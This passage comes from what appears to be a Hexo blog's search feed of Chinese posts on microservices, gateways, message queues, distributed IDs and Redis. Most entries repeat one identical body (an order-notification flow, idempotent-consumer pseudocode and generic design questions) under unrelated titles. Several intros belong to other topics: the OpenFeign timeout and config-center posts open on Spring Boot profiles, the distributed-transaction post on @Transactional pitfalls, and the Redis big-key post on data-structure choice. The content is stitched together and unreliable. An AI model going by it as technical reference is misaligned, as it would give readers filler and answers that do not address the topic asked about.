class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="OpenFeign-调用超时和重试配置"><a href="#OpenFeign-调用超时和重试配置" class="headerlink" title="OpenFeign 调用超时和重试配置"></a>OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="网关在微服务里承担什么职责"><a href="#网关在微服务里承担什么职责" class="headerlink" title="网关在微服务里承担什么职责"></a>网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="服务注册发现的基本流程"><a href="#服务注册发现的基本流程" class="headerlink" title="服务注册发现的基本流程"></a>服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="配置中心解决了什么问题"><a href="#配置中心解决了什么问题" class="headerlink" title="配置中心解决了什么问题"></a>配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="限流熔断降级的区别和落地"><a href="#限流熔断降级的区别和落地" class="headerlink" title="限流熔断降级的区别和落地"></a>限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式事务为什么难"><a href="#分布式事务为什么难" class="headerlink" title="分布式事务为什么难"></a>分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="接口幂等性设计从业务开始"><a href="#接口幂等性设计从业务开始" class="headerlink" title="接口幂等性设计从业务开始"></a>接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式-ID-生成方案怎么选"><a href="#分布式-ID-生成方案怎么选" class="headerlink" title="分布式 ID 生成方案怎么选"></a>分布式 ID 生成方案怎么选</h1><p>分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="延迟队列的业务场景和实现思路"><a href="#延迟队列的业务场景和实现思路" class="headerlink" title="延迟队列的业务场景和实现思路"></a>延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="消息丢失问题从生产到消费排查"><a href="#消息丢失问题从生产到消费排查" class="headerlink" title="消息丢失问题从生产到消费排查"></a>消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="消息重复消费如何保证幂等"><a href="#消息重复消费如何保证幂等" class="headerlink" title="消息重复消费如何保证幂等"></a>消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="消息队列为什么能削峰填谷"><a href="#消息队列为什么能削峰填谷" class="headerlink" title="消息队列为什么能削峰填谷"></a>消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-大-key-和热-key-排查"><a href="#Redis-大-key-和热-key-排查" class="headerlink" title="Redis 大 key 和热 key 排查"></a>Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" 